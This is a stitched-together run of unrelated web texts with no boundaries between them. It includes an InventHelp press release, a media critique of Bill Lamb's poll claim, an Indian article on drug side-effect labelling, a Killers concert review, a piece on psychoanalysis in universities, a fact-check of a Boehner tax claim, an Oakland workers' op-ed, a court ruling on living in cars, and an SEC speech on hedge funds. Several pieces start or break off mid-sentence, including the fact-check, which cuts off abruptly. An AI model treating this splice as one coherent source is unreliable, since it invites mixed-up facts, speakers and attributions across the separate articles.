While most teenagers are busy with Grand Theft Auto, Broderick Alexander, a 16-year-old aspiring inventor who suffers from sickle cell anemia, had a dream. When the Little Rock chapter of the Make-A-Wish Foundation® contacted InventHelp, Broderick and his mother were flown to Pittsburgh for a four-day visit, where they received an all-access pass to INPEX-The Invention Show. Trade Show Director Nicole Lininger presented Broderick with a "Future Inventor" award, as well as a special gift from IMET Corporation – a working prototype of one of the young inventor's ideas! IMET co-founder and CTO Thomas Krol was good enough to have his people build the prototype free of charge, and Lininger arranged for an all-expenses paid trip – including an exhibit booth – for Broderick to display his invention at a future INPEX show!
Additionally, InventHelp referred Broderick to an independent patent attorney to help prepare and file a U.S. patent application for the invention, and the attorney graciously volunteered to waive his normal fees.
For more information about all the community initiatives of InventHelp, visit http://www.inventhelp.com/inventhelp-community-service.asp
Name: Nicole Lininger
Phone: (412) 288-1300 x4159
Email: nlininger@inventhelp.com
Website: http://www.inventhelp.com/Update: Bill Lamb has apologized for suggesting that the Courier-Journal rigged the SurveyUSA poll.”
On Election Night, Nov. 6, 2012, Megyn Kelly and Karl Rove shared a desk on Fox News. Rove was valiantly trying to argue that the polls and state-by-state results were not steadily leading towards an Obama victory, and finally Megyn Kelly asked him:
“Is this just math that you do as a Republican to make yourself feel better, or is this real?”
It seems that many people who watched or read Bill Lamb’s recent Point of View editorial had a similar reaction.
Lamb suggested that the recent Bluegrass Poll showing Mitch McConnell trailing Alison Lundergan Grimes might have been rigged by The Courier-Journal. His evidence for this startling charge? The paper is “proudly ultra-liberal. They don’t hide it. They don’t pretend they’re objective. They are unabashedly a Democrat mouthpiece.”
Never mind the fact that the C-J has endorsed Republicans in the past, such as Anne Northup back in 2004.
Never mind the fact that the poll was conducted by “independent, non-partisan” firm SurveyUSA on behalf of The Courier-Journal, WHAS, the Lexington Herald-Leader, and WKYT.
Never mind the fact that academic researchers have concluded that SurveyUSA performs “slightly better than other nonpartisan polling organizations” at projecting election results.
Never mind the fact that, in order for Lamb’s incredible conspiracy theory to work, The C-J’s czars would need to somehow manipulate or corrupt a research organization that’s more than 20 years old and relied upon by several major national news organizations—and hoodwink the other three news organizations that also funded the survey.
Lamb’s charge is a very serious one. Any news organization that deliberately misreported the results of a poll ought not to be trusted. The problem is Lamb’s complete lack of evidence. But we don’t have to dig deep to find his motive for such a charge.
As WDRB’s president, general manager and primary commenter, Lamb has made no secret of his conservative positions throughout the years, and his ongoing rivalry with The Courier-Journal is very much public.
And all news organizations are permitted to take editorial stances on the issues as long as they maintain a rigorous firewall between the editorial and news departments. The Wall Street Journal is an excellent example: its news division has been labeled liberal while its editorial pages are relentlessly conservative.
So Bill Lamb is entitled to his opinion, as are the editorial writers at The Courier-Journal and every other local news operation.
But, as Daniel Patrick Moynihan allegedly declared, no one is entitled to his or her own facts.
If Lamb knows something about the Bluegrass Poll or SurveyUSA that the rest of us don’t, he should put his excellent team of investigative reporters on the matter. But he doesn’t get to insinuate that the poll is flawed or biased simply because he doesn’t like the results.
It would be a shame if WDRB started to expend the credibility earned by its news organization on these types of fact-free partisan rants. Bill Lamb ought to know better.
James Miller is WFPL’s media critic and a journalism teacher at duPont Manual High School. You can find his past work here.MUMBAI: When you last visited your doctor for a stomach infection, did he caution you about the possible side-effects of the prescribed antibiotic, or were you alerted about these through a `medication guide’ inserted in the pack? Probably not. Neither did the doctor who treated 10-year-old Ruchi inform her parents about the complications, nor was a medication guide available. The pharma company which manufactures the antibiotic too abdicated its responsibility of highlighting the side-effects.So when Ruchi popped the widely-sold antibiotic, ciprofloxacin, for her ENT infection for 15 days, she developed serious skeletal deformities. The antibiotic, which was meant to cure her, nearly crippled her, causing dangerous side-effects.Ruchi is not alone. There are many such examples where patients suffered serious side-effects by taking popular pills as they were not aware of the drug’s adverse impact. In some instances, they may have been plain unlucky, but in most cases it’s because of scanty information about the medicine, safety risks which are neither communicated by doctors who are extremely busy, nor by pharma companies themselves.So are patients here being given the short shrift? It appears so, as companies are not communicating safety risks and adverse reactions associated with certain medicines on packs in India. This is even as global regulatory agencies like the US Food and Drug Administration recommend companies to educate patients about routine side-effects and alert them with additional warnings.The problem is on several fronts. “The lax system of approval of drugs in India, profit-oriented pharmaceutical companies who care two hoots (about patients), and doctors who are nearly all-dependent on field force do not convey clearly to the patient about the possible side-effects of a prescribed drug,” says CM Gulhati editor of medical journal, MIMS, who has championed the cause of safe drugs, for decades.Awareness about safety risks and side-effects is critical among children and pregnant women. This is because certain medicines, like some antibiotics and painkillers, are not recommended for use during pregnancy, while some have been banned for lactating women. Moreover, doctors have been advised not to prescribe drugs like antibacterials, acid suppressants, codeine (cold and cough remedies), anti-diarrhoeal to children below 12 years (see graphic). Most doctors do not ask their female patients if they are pregnant or breast-feeding. Hence, if certain drugs not permitted during these situations are administered, it may lead to serious side-effects to both —patients and their breast-fed babies.Companies feel that communicating safety information to patients is akin to advertising, and hence would be in violation of the Drugs and Magic Remedies Act. But, drugs controller general GN Singh told TOI, “It is the responsibility of companies to communicate about the side-effects and adverse events of medicines to ensure patient safety.”TOI contacted several companies with queries on the need to educate patients through “clear and efficient labels”, detailing safety risks and precautions. Most pharma companies did not wish to be quoted on the issue. “Since it’s not mandatory to provide package insert or a patient medication guide, individual medicine strips do not carry it. Only certain medicines carry these inserts in a pack of 5 to 10 strips,” an executive with a leading company said. He added that inputs costs have been rising for the industry, and packaging is perhaps one way where they can cut costs.“When using any drug, it is important that doctors explain common drug reactions to the patient. Also, patient should read ‘contraindications and warnings and precautions’ sections carefully,” says Dr Anoop Misra, chairman of Delhi-based Fortis-C-DOC. According to him, it is the duty of pharmaceutical companies to update the package insert in the event of a newly-described adverse effect — which should be disseminated to both doctors and patients.Domestic companies, however, take refuge in laws which do not make it binding on them to provide a “medication guide” which will make patients alert about adverse events, drug reactions or precautions.While Indian pharma companies have adopted several global practices voluntarily, why they have chosen to ignore an important aspect of patient safety? More importantly, why hasn’t the law been tightened?In fact, 5% of all emergency hospital admissions in the US are due to side-effects of the drugs administered to them. According to experts, in India the situation is worse as there is no registry of adverse events available.Very few companies are adding the package insert. “Package inserts by 5-10% companies are practically useless as they are microscopic, and hence cannot be read. The language used is also technical, and hence it may not be comprehensible for patients. In any case, these are meant for use only by medical practitioners as they clearly state,” an industry expert said.At the same time, pharmacovigilance for every new and old drug prescribed needs to be monitored, and all adverse events reported by the company, and communicated by drug regulator, says endocrinologist Dr Shashank Joshi. These studies, particularly for new drugs, need to be conducted and ratified by independent authorities.Keeping in mind the challenge of literacy here, some feel that it’s the responsibility of the doctor to counsel patients regarding side-effects. “They also need to be available for patients’ queries,” says Leena Menghaney, a lawyer and activist working on public health.It probably says something about The Killers' prowess as a live band that almost a decade and half after the release of their first and arguably most popular album, they can still sell out hangar sized arenas months in advance. Having initially been introduced to UK audiences as the support act on British Sea Power's The Decline Of... tour at the tail end of 2003, they've gone on to become one of the most successful bands in the world. With countless arena tours and festival headline appearances under their belt, they're the musical equivalent of FC Barcelona while in frontman Brandon Flowers, possess their own Lionel Messi of sorts; a focal point for ninety minutes, full of tricks, occasionally unpredictable but thoroughly entertaining from start to finish.
Of course there's been a lot said about The Killers recorded output since those heady days when Hot Fuss arrived in the summer of 2004. Most notably, each of the four albums released since has been gradually worse than its predecessor, although in the case of record number two Sam's Town, it would be difficult to find too many faults. Crossing over to the mainstream with consummate ease, The Killers seem more at home playing to a live audience and while there's a need to carry on writing and releasing new material - if only to justify their continued existence - the key to the band's longevity undoubtedly lies in their stage rather than studio personas.
Album number five Wonderful Wonderful came out in September to mixed reviews and while it represented a slight change in musical direction - lead single 'The Man' and its dalliance with 70s disco being one glaring example - the record quickly pales into insignificance when cast alongside the band's earliest release.
Perhaps the most significant aspect of these shows is that founder members Dave Keuning and Mark Stoermer have chosen not to participate on this tour. Despite both figuring prominently in the writing and recording of Wonderful Wonderful, their decision to pursue other projects - incidentally check out Stoermer's latest LP Filthy Apes And Lions, arguably his finest solo record to date - drew gasps of surprise and outrage from The Killers fanbase, some of whom claimed this would be little more than a tribute band fronted by Brandon Flowers prior to the tour commencing.
Of course, they're wrong, particularly as The Killers have always taken a number of extra musicians with them since touring Sam's Town back in 2006. Furthermore, Jake Blanton's exceptional performances on bass throughout the band's extensive festival schedule this summer shouldn't have gone unnoticed, so while some of the personnel may have changed, The Killers slick well-oiled machine was open for business as usual.
Although only four weeks into a seven-month tour that doesn't finish until next May, they've clearly got the bit between their teeth once more, particularly after 2012's less than well received Battle Born album and the shows that went with it which threw the band's future into doubt at the time.
Despite not being a particular fan of arena shows - like all-seater stadiums at football, I find them restrictive, impersonal, slightly condescending, and soulless in terms of atmosphere - the Liverpool Echo Arena is definitely one of the better venues of its kind. With a capacity of 11,000 - two-thirds of it seated - it has a surprisingly intimate feel compared to other arena venues. Also worth mentioning is the sound quality which doesn't get lost or distorted at any point during the band's hour and a half long set.
Playing in front of a backdrop that changes colour and shape at various times throughout the show, the band overlooked by a water tower feature with the word "LIVERPOOL" emblazoned across it in bold capital letters, The Killers penchant for all things glittering and glamorous remains. You can take the boy out of Vegas but you can't take Vegas out of the boy, Flowers resplendent in a gold lame suit, his on-stage demeanour being that of a perpetual livewire for the entire duration of his band's performance.
As for the set itself, it's no surprise that half of the songs off the new record feature prominently, current single 'Run For Cover' eliciting the biggest response while the more familiar likes of 'Somebody Told Me' and 'Spaceman' precede it.
Indeed, the inclusion of five songs off their debut coincides with the biggest response, not least a rapturous run through 'All These Things That I've Done' which closes the first part of the set, culminating in the whole arena rising from their seats to join in its jubilant refrain.
More noticeable is the inclusion of just one song off Wonderful Wonderful's predecessor Battle Born in the shape of lead single 'Runaways'. A record even band themselves rarely discuss in interviews nowadays, Battle Born represented something of a nadir for The Killers, the only point during the past decade where the band's ascendancy stalled and looked as if it might fade away. So it's to their credit they took a step back and spent the past couple of years in self-reflection before returning to do what they best on the big stage.
A self-confessed Anglophile, Flowers tribute to his musical heritage from this side of the pond sees him deliver a couple of covers; the now familiar take on Joy Division's 'Shadowplay' that's been a staple of the band's live set for a number of years and a sombre yet utterly compelling version of Black's 'Wonderful Life' that splits the celebratory couplet of 'Runaways' and 'A Dustland Fairytale' in two towards the tail end of the set.
Returning for a four-song encore that includes a welcome return for 'Believe Me Natalie' alongside the customary closers 'When You Were Young' and 'Mr Brightside' that once again results in the entire room rising out of their seats, it's clear to see why The Killers remain one of the most exciting live acts on the planet today.
Read our in-depth interview with the band here.
Photos by Rob Loud
These worries led the psychoanalytic association to create a task force to increase undergraduates’ exposure to psychoanalytic ideas as both a theory and therapy.
The effort includes this new study, a computer-based analysis of course descriptions at 150 public and private institutions that are highly ranked in U.S. News and World Report’s college survey. It found that of the 1,175 courses that referenced psychoanalysis, more than 86 percent were offered outside psychology departments.
The study has some shortcomings — course descriptions are not comprehensive and there are no comparative surveys from previous years. Still, it roughly maps out where psychoanalytic ideas — which once dominated the field and from which all psychodynamic therapy springs — have found a home. And it is not, for the most part, in psychology departments.
Alice Eagly, the chairwoman of the psychology department at Northwestern University, explained why: Psychoanalysis is “not the mainstream anymore” and so “we give it less weight.”
The primary reason it became marginalized, Ms. Eagly, said, is that while most disciplines in psychology began putting greater emphasis on testing the validity of their approaches scientifically, “psychoanalysts haven’t developed the same evidence-based grounding.” As a result, most psychology departments don’t pay as much attention to psychoanalysis.
Photo
At the same time, wondrous advances, in neuroscience, for instance, have attracted new students and resources, further squeezing out psychoanalysis. Outside the university setting, the refusal of most insurance firms to pay for extended psychoanalytic therapy has limited its reach.
Scott Lilienfeld, a professor in the psychology department at Emory University, said, “I don’t think psychoanalysis is going to survive unless there is more of an appreciation for empirical rigor and testing.”
Advertisement Continue reading the main story
The humanities and social sciences have welcomed psychoanalysis without caveats. But the report complains of the wide gulf between the academic’s and the psychoanalyst’s approach and vocabulary, which has made their respective applications of Freud’s theories virtually unrecognizable to each other.
Scholars in the liberal arts have tended to use Freud as a springboard to examine issues and ideas never dreamt of in his philosophy — like gender studies, post-colonial studies, French postmodernism, Queer theory and so on.
“American clinical psychoanalysis, and analysis as represented in academe, are at risk to become two ships that pass in the night,” the report said. As an example, the report points to a course on psychoanalysis and colonialism, two terms most clinically based analysts would never have imagined in a single sentence.
“I honestly couldn’t understand what they’re talking about,” said Prudence Gourguechon, the psychoanalytic association’s incoming president, referring to those kinds of courses.
To Mr. Lilienfeld, much of postmodern theorizing has harmed psychoanalysis, saying it has “rendered claims even more fuzzy and more difficult to assess.”
But Mark Edmundson, a professor of English at the University of Virginia and the author of “The Death of Sigmund Freud,” said, “Freud to me is a writer comparable to Montaigne and Samuel Johnson and Schopenhauer and Nietzsche, writers who take on the really big questions of love, justice, good government and death.”
Scholars in the humanities, he said, use Freud “skeptically and provisionally and don’t think of him as scientist at all, but as an interpreter.”
Neither the split between the humanities and science, nor the warnings of the demise of psychoanalysis are as serious as they are often made out to be, said Jonathan Lear, a trained psychoanalyst and a philosopher who works on integrating the two fields at the University of Chicago.
Wanting to measure the effectiveness of psychoanalysis is natural, he said, but figuring out how to do so is not simple.
Advertisement Continue reading the main story
“Some of the most important things in human life are just not measurable,” he said, like happiness or genuine religious feeling. Freud, though, is particularly useful for gaining insights into questions of human existence. “There will be the discovery of problems that the standard ways don’t address,” he said, and then “there will be a swing back to Freud.”(J. Scott Applewhite — AP)
“Raising taxes on the so-called top 2 percent — half of those taxpayers are small business owners who pay their taxes through their personal income tax filing every year.”
— House Speaker John A. Boehner (R-Ohio), Nov. 28, 2012
The speaker misspoke — again.
A reader asked us about this statement, and we noticed that it was similar to a claim he made last year. His spokesman at the time explained that Boehner had meant to say “half of small business income,” but he misspoke. We don’t try to play gotcha here, so we gave Boehner a pass.
But in the midst of the “fiscal cliff” debate, he said it again. Once again, his spokesman said it was a mistake. “He meant to say half of small business income would be hit by the president’s plan for higher tax rates,” said spokesman Brendan Buck.
We think it’s time for a refresher course, especially since we previously looked askance at the claim that the tax hike would hit half of all small-business income. Such assertions about small businesses keep coming up time and again in this debate, and it is a complex issue.
The Facts
Higher taxes on individuals would hit just over 50 percent of business income. But they aren’t necessarily “small” businesses.
There are advantages for companies to file corporate income taxes, but there is one big disadvantage — major shareholders are subject to being taxed twice, first on the corporation’s earnings and then on personal income taxes after dividends are distributed to the owners.
So smaller companies, as well as partnerships, sole proprietorships and some limited liability companies, organize themselves differently. The companies themselves do not pay taxes; instead, the earnings or losses are passed through to the shareholders, who then are taxed at the individual tax rate.
When Republicans often speak of “small businesses,” they are referring to the companies that file under the individual tax code. But not all of them are what most Americans would consider small businesses — and not all of them are that small, either. In fact, a report by the Joint Committee on Taxation — the nonpartisan congressional entity that assesses tax legislation — found that the number of tax returns by so-called “flow-through entities” has soared in recent years.
As of 2005, the JCT says, retail trade (such as mom-and-pop shops) accounted for about 11 percent of so-called S corporations, holding 12 percent of total assets, and 5 percent of partnerships, with less than 1 percent of total assets. Another 14 percent of S corporations were in construction but the largest category, at 15 percent, were “professional, scientific and technical services.”
The result, according to the Joint Committee on Taxation, is that only 3 percent of all “small businesses” paying taxes would be affected by Obama’s plan to lift marginal tax rates on families making more than $250,000 and individuals making more than $200,000. (See page 25 of the JCT report.)
That group — about 750,000 taxpayers — accounts for 50 percent of the estimated $1 trillion in business income reported in 2011, though it would seem the big money is being made by a relatively small group of companies, law firms and the like. The other 97 percent of “small businesses” shared the rest — and under Obama’s plan, they would get to keep their Bush-era tax cuts.
There is also another, possibly more precise way to measure the impact of income of small businesses affected by a possible tax hike.
Career economists at the Treasury Department, in a study released last year by the Office of Tax Analysis, dug deep into 2007 tax data to determine the taxes paid by small businesses. The study proposed two definitions of a small business, including a “narrow definition:” people who get at least 25 percent of their adjusted gross income from small-business income.
To our mind, this metric would seem to get closer to the category of mom-and-pop shops, what people generally think of as small businesses. (The broader definition includes anyone who earned any small-business income, even as little as $1 — which suggests the taxpayer really is not managing the business.)
Table 14 of the study shows that, under the narrow definition, taxpayers with adjusted gross income of more than $200,000 — about 700,000 taxpayers — amount to about 7.5 percent of all small-business owners. (The percentage is only a little higher under the broader definition.) Still, that is more than double the 3 percent figure of the Joint Tax Committee, which is often cited by Democrats.
Those small-business taxpayers earned about 57 percent of all small-business income, but much of it was concentrated in the $200,000 to $500,000 category. Small businesses making more than $1 million, for instance, amount to just 14 percent of small-business income.
The Pinocchio Test
By any measure, Boehner’s statement last week was incorrect. Only a relatively small percentage of small-business owners would be affected by a tax increase. His amended statement, focused on small-business income, is more accurate, according to the Treasury Department study and the Joint Committee on Taxation.
There is some question, however, whether even that claim is especially relevant. Readers with personal experience have fiercely disputed whether higher taxes would make much difference in whether a small business would hire new employees. “A higher personal income tax rate is an incentive to hiring more people and investing more |
city workers, I have very few rights. That's because I, along with a large proportion of the city's workforce, are designated as Temporary Part Time workers [TPT].
Most of the workers that run after school programs at Oakland's rec centers, staff the pools, the lakes, the sports programs and even Oakland's libraries, are TPT. We take care of people's children, young people with learning disabilities and the handicapped. We teach and care for. Despite being precarious positions with less workplace security than a McDonald's, these temporary part time jobs aren't easy to get. The hiring process is lengthy and can take up to six months from application to being placed in a position at a site.
Regardless, people who apply for these jobs are people who want to work with their fellow Oaklanders, want to help residents enjoy the city's wealth, and want to help and develop the capacities of the city's children. Its shocking then that such workers can be, and have been, fired for reasons they are never told about, without a systematic warning process or feedback on their performance. TPT workers can't exceed 960 hours in a fiscal year and can be fired for any reason. We get no benefits, we don't accrue a pension with the state's pension investment fund, Calpers. And when all this is taken into account, its beyond belief that we make up roughly half of Oakland's city workforce from public works to libraries to parks and recreation.
Robbing City Workers to Pay Police
Most of the blame for this sorry precarity can be laid at the feet of a city government that has prioritized police services to such a great extent that it can't adequately staff city functions with fairly paid and well-treated workers. The city prides itself on cutting corners in exactly the places residents need most while always increasing funding to the ever-problematic Oakland Police Department. And the only way to cut those corners, is to create precarious workforces, like so many other federal, state and private enterprises have.
But the responsibility is not the city's alone. Another lion's share of the guilt goes to SEIU 1021, which has allowed this situation to continue by failing to use direct action and strikes to remedy it—the city's temporary part time workforce went up from thirty percent several years ago, to nearly half today as 1021 enters contract bargaining.
Half a Union
While SEIU 1021 will rightly call on the people of Oakland to support them as they ask for better conditions and fair cost of living increases for the city's regular workforce, they will again fail to take into account the one factor that continues to hobble their ability to demand workplace justice. They will talk a good game, but again back-burner the rights and situation of the city's precarious workers, workers who pay their dues in full expectation of representation that never comes.
That would be bad enough. But clearly, a perhaps even greater disservice is being done to the city's part time and full time permanent workers, who are not able to count on the full power of the membership when it comes time to flexing their labor power. Even as SEIU talks of a strike for permanent position pay increases, it will have to do so without the participation of half its membership, because they can be fired for any reason and will hesitate to trust the union to fight for their jobs during a walk-off.
This is not the first time this issue has come up. Through the years, one local paper or another has focused on the scandalous plight of Oakland's TPT, but nothing is ever done. The city, of course, has no interest in rectifying the situation. Indeed, as we have seen in the past years, their only goal is to increase the number of TPTs on the payroll, as a way to cut costs and hobble the union. But SEIU 1021 again and again fails to put this situation to the front, where it should be. And in doing so, they've weakened their bargaining power and set the predicate for the city to continue to hack away at the bare minimum of union-membership benefits.
A Perilous Future for Unions
1021 faces a grim future this year. It goes into negotiations with little organizing power and the city of Oakland knows it. Further challenges will come in the form of “right to work” assaults in the courts this year, which will likely succeed. This means that down the road, SEIU won't even be able to count on its full permanent membership, as members themselves opt out.
That leaves SEIU with very few choices. They can bring their TPT workers in from the cold to form an integral stronger union. They can fall apart completely. Or they can watch helplessly as their TPT workers actively seek to break away from the crumbling union and form their own through the power of strikes and direct action.Law Barring People In Los Angeles From Living In Their Cars Struck Down, Deemed Discriminatory
People who call their vehicles home in Los Angeles no longer have to worry about being cited or arrested, now that a federal appeals court stuck down a 31-year-old law.
A three-judge panel of the 9th U.S. Circuit Court of Appeals said in its ruling that the vaguely written statute, which barred people from living in their parked vehicles, discriminates against the homeless and poor, The Associated Press reports.
“The city of Los Angeles has many options at its disposal to alleviate the plight and suffering of its homeless citizens,” Judge Harry Pregerson wrote for the panel. “Selectively preventing the homeless and the poor from using their vehicles for activities many other citizens also conduct in their cars should not be one of those options.”
The 1983 law prohibited the use of a vehicle “as living quarters either overnight, day-by-day, or otherwise.”
The case was brought on behalf of four people who were cited and arrested when Los Angeles police officers concluded the belongings in their RVs and cars meant they were breaking the law. The officers were part of an LAPD homelessness task force charged with enforcing the ordinance in response to community complaints.
The plaintiff’s lawyer said at the time of the arrests one of her clients was waiting outside a church that served meals and another was driving her RV on the way to sell her work at a local art fair.
“Is it impermissible to eat food in a vehicle? Is it illegal to keep a sleeping bag? Canned food? Books? What about speaking on a cellphone? Or staying in the car to get out of the rain?” Pregerson wrote. “These are all actions plaintiffs were taking when arrested for violation of the ordinance, all of which are otherwise perfectly legal.”
Previously, a lower court sided with the city and dismissed the case without a trial.
Following Thursday’s ruling, Los Angeles City Attorney Mike Feuer said the city would not appeal the decision. Instead, he and other officials will work to create a replacement ordination that respect the rights of homeless individuals while protecting the quality of life in local neighborhoods.
“We need to make a break from the past, recognize that the civil and criminal justice systems alone can’t effectively address homelessness, and commit ourselves to grappling with the issues that create homelessness in the first place,” he says.
Court overturns Los Angeles ban on living in cars [The Associated Press]PLI Hedge Fund Management Conference, New York, New York
Thank you, Nora, for the kind introduction. Good morning and thank you for inviting me to speak to you today – it is a privilege to open-up this seminar on behalf of such a distinguished panel of seasoned practitioners, some of which are current or former colleagues. I am certain that you will benefit from their invaluable insight into some of the trends and challenges facing the hedge fund industry. Before proceeding, let me remind you that the views I express are my own and do not necessarily reflect the views of the Commission, any of the Commissioners, or any of my colleagues on the staff of the Commission.[1]
This is truly an opportune time to examine the regulatory landscape for hedge funds and their advisers – many of you are probably returning from vacations during a summer that witnessed the third anniversary of the enactment of the Dodd-Frank Act and just in time for the effective date of some significant rulemakings relating to a private placement exemption often used by hedge funds. As you know, the Dodd-Frank Act imposed greater oversight on advisers to hedge funds, while recent changes were made to the private placement exemptions by the JOBS Act. These changes create both opportunities and challenges for those advisers managing hedge funds.
For this morning, I will begin with a discussion on what you are likely most interested in – the general solicitation and the “bad actor” rules. Afterward, I will focus on our continuing efforts to be better informed regulators. In the post-Dodd-Frank era, we are more cognizant regulators not only because of the enhanced data we receive from you regarding the size and operations of your industry, but also due to our continuous efforts to improve our ability to use that data and our heightened focus on industry awareness. After an overview of what we now know about your industry and how we intend to use it, I’ll highlight some regulatory initiatives of interest to the hedge fund industry. However, before I finish this morning, I want to briefly share some thoughts on the importance of a robust culture of compliance, which is underscored by the recent Commission actions against hedge fund managers for insider trading.
General Solicitation and Bad Actors
Over the summer, the Commission adopted two significant Congressionally-mandated changes to Rule 506 of Regulation D—the private placement exemption that many hedge funds rely on to offer their interests in the U.S. Before addressing some specific aspects of these rules, it may be helpful to quickly revisit how we got here. As most of you know, the JOBS Act mandated that the Commission lift the ban on general solicitation and general advertising to, among other things, provide new ways for companies to raise capital. We are committed to taking steps to pursue additional investor safeguards if and where such measures become necessary once the ban on general solicitation is lifted.[2] In other words, as we fulfill our mission to facilitate capital formation, we remain focused on strong investor protections. Therefore, in connection with the changes to Rule 506, the Commission proposed additional amendments intended to enhance the Commission’s ability to evaluate the development of market practices in Rule 506 offerings and address certain concerns raised by commenters related to the types of investors that would be attracted by general solicitation.[3]
Lifting the Ban on General Solicitation
The first change to Rule 506 eliminates the prohibition on general solicitation and general advertising for certain offerings, including hedge fund offerings, provided that the conditions of the new rule are met.[4] Once the removal of the ban goes effective in the next few weeks, hedge fund issuers will be able to use a number of previously unavailable solicitation and advertising methods when seeking potential investors. However, with these new marketing opportunities also comes greater responsibility.
The final rule permits issuers to use general solicitation and general advertising to offer their securities if, among other things, issuers take reasonable steps to verify “accredited investor” status, and all purchasers of the securities are accredited investors – meaning that, at the time of the sale of the securities, they fall within one of the categories of persons who are accredited investors, or the issuer reasonably believes that they do. Determination of the reasonableness of the steps taken to verify that an investor is accredited is by an objective assessment by an issuer, and in response to comments, the final rule provides a non-exclusive list of methods that issuers may use to satisfy the verification requirement for individual investors.
With general solicitation and general advertising soon to be an option, I want to reiterate the Commission’s reminder from the adopting release that advisers to private funds are subject to an anti-fraud rule that prohibits fraudulent and misleading conduct with respect to fund investors, including making untrue statements of material fact to those investors.[5] In the adopting release, the Commission also noted that investment advisers that have implemented appropriate policies and procedures regarding the nature and content of private fund sales literature are less likely to use materially misleading advertising materials, or otherwise violate federal securities law.[6] Accordingly, advisers should carefully review their policies and procedures to determine whether they are reasonably designed to prevent the use of fraudulent or misleading advertisements and update those policies where necessary, particularly if the hedge funds intend to engage in general solicitation activity. Hedge fund sponsors intending to rely on the new rule should also consider whether their current practices for verifying accredited investor status meet the requirements of the new rule.
Simultaneously with the adoption of these amendments, the Commission also issued a proposal designed to enable the Commission to evaluate how general solicitation impacts investors in the private placement market. The proposed measures include, among other things, expanding the information that issuers must include on Form D, requiring issuers to file the Form D before a general solicitation begins and when an offering is completed, and putting in place a more effective mechanism for enforcing compliance with Form D filing requirements.
Given that private funds raise a significant amount of capital in Rule 506 offerings, the proposal contains several amendments specific to private funds. For example, private fund issuers would be required to include a legend in any written general solicitation materials disclosing that the securities being offered are not subject to the protections of the Investment Company Act of 1940. With respect to written general solicitation materials containing performance data, additional disclosure would be required to explain the limitations on the usefulness of such data and provide context to understand the data presented.
The Commission also proposed to extend guidance contained in Rule 156 under the Securities Act of 1933, currently applicable to registered funds, on when information in sales literature could be fraudulent or misleading for purposes of the federal securities laws. This guidance would apply to all private funds whether or not they are engaged in general solicitation activities. In the proposing release, the Commission expressed its view that private funds should now begin considering the principles underlying existing guidance.
Furthermore, the Commission requested comment on additional manner and content restrictions on private fund solicitation materials. In particular, we are interested in hearing your thoughts on content restrictions on performance advertising generally, and content standards specific to certain types of performance advertising, such as model or hypothetical performance. We also are interested in your views on whether private funds should be subject to standardized performance reporting and if so, what reporting standards should apply.
In order to assist the Commission’s efforts to assess developments in the Rule 506(c) market, an inter-Divisional group has been created within the Commission to review the new market and the practices that develop. Staff from the Division of Investment Management will play a key role in this initiative, and will work closely with staff from the Division of Corporation Finance, the Division of Economic and Risk Analysis (“DERA”), formerly the Division of Risk, Strategy and Financial Innovation, the Division of Trading and Markets, the Office of Compliance Inspections and Examinations, (“OCIE”), and the Division of Enforcement. As part of the work plan, staff will, among other things, evaluate the range of accredited investor verification practices used by issuers and other participants in these offerings, and endeavor to identify trends in this market, including in regard to potentially fraudulent behavior. Commission staff will also develop risk characteristics regarding the types of issuers and market participants that conduct or participate in offerings involving general solicitation and general advertising and the types of investors targeted in these offerings.
In addition, I’ve instructed Division of Investment Management rulemaking and risk and examination staff to pay particular attention to the use of performance claims in the marketing of private fund interests. In particular, this review will endeavor to identify potentially fraudulent behavior and to assess compliance with the federal securities laws, including appropriate Investment Advisers Act provisions. I encourage you to provide us information about what you are seeing develop in regards to general solicitation by private funds, particularly advertisements that appear to raise concerns.
Separately, the Commission has also begun a review of the definition of accredited investor as it relates to natural persons. The Commission also requested comment on the definition of accredited investor in its recent proposing release. Your input into all these regulatory initiatives is important. With the comment period for the proposals regarding the Rule 506(c) market about to close, we strongly encourage you to submit comments if you have not done so already.
The “Bad Actor” Amendment
Under the second adopted amendment, commonly referred to as the “bad actor” amendment, an issuer cannot rely on the Rule 506 exemption from registration if the issuer or any other person covered by the rule is disqualified by a “triggering event,” which includes certain criminal convictions, certain SEC cease-and-desist orders and court injunctions and restraining orders.[7] In addition to issuers such as hedge funds, other potential “bad actors” under the rule could include a hedge fund’s general partner or managing member, its investment adviser and principals, significant shareholders holding voting interests, affiliated issuers and any placement agent or other compensated solicitor.
The final rule provides an exception from disqualification for issuers that can show they did not know and, in the exercise of reasonable care, could not have known that a covered person with a disqualifying event participated in the offering. Given the serious consequences of a bad actor finding, hedge fund advisers should take care when hiring employees and screening investors, and conduct appropriate due diligence when retaining third party solicitors. Also, it is important to note that while disqualification applies only for triggering events that occur after the effective date of the rule, matters that existed before the effective date of the rule that would otherwise be disqualifying are required to be disclosed to investors.
I understand that the staff has received some interpretative questions with respect to the application of these rules, especially to private funds and their advisers. Right now, the staff is in listening and information collection-mode, and is evaluating the need for guidance.
What We Now Know About the Industry
As I alluded to earlier, as a result of registration and reporting reforms introduced by, or tangential to, Dodd-Frank, we now have a more complete picture of the hedge fund universe, including insight into (for starters) the number of advisers and funds, the different types of funds, the strategies that they employ, and the makeup of their investor base. Now, it is critical to the execution of our mission that we are able to translate being better informed regulators into being more effective regulators.
Today, the Commission’s registrant population consists of over 10,825 advisers, with 2,572 of these advising at least one hedge fund.[8] Overall, advisers of hedge funds account for over $4.6 trillion in cumulative regulatory assets. In addition to hedge fund advisers registered with the Commission, we also have exempt reporting advisers, or ERAs, who are those advisers that are exempt from registering with the Commission, but are subject to limited reporting about their businesses and their private fund clients. The Commission has approximately 2,400 ERAs, with 767 advisers or 32% of these managing hedge funds accounting for over $819 billion in regulatory assets.
This improved information is the result of upgrades to Form ADV and the arrival of Form PF. In 2011, the Commission adopted amendments to Form ADV requiring significant additional information with respect to, among other things, the identity of hedge fund clients, amount of gross assets, names of service providers to these hedge funds, and the number and types of hedge fund investors.[9] Also in 2011 the Commission adopted new Form PF jointly with the Commodity Futures Trading Commission. Form PF requires advisers to report the use of leverage, counterparty credit risk exposure, and trading practices for each hedge and other private fund managed by the adviser.[10] In the summer of 2012, the Commission began to receive the first set of Form PF filings from the largest advisers of hedge funds and other private funds, and received a complete set of initial filings from all reporting advisers earlier this year.
How We Can Use the New Information
While the primary aim of Form PF was to create a source of data for the Financial Stability Oversight Council (“FSOC”) to use in assessing systemic risk,[11] the Commission, consistent with statutory authority, is using the information to support its own regulatory programs, including examinations, investigations and investor protection efforts relating to private fund advisers. Through a coordinated effort of staff across the Commission, we have identified a number of uses of the information.
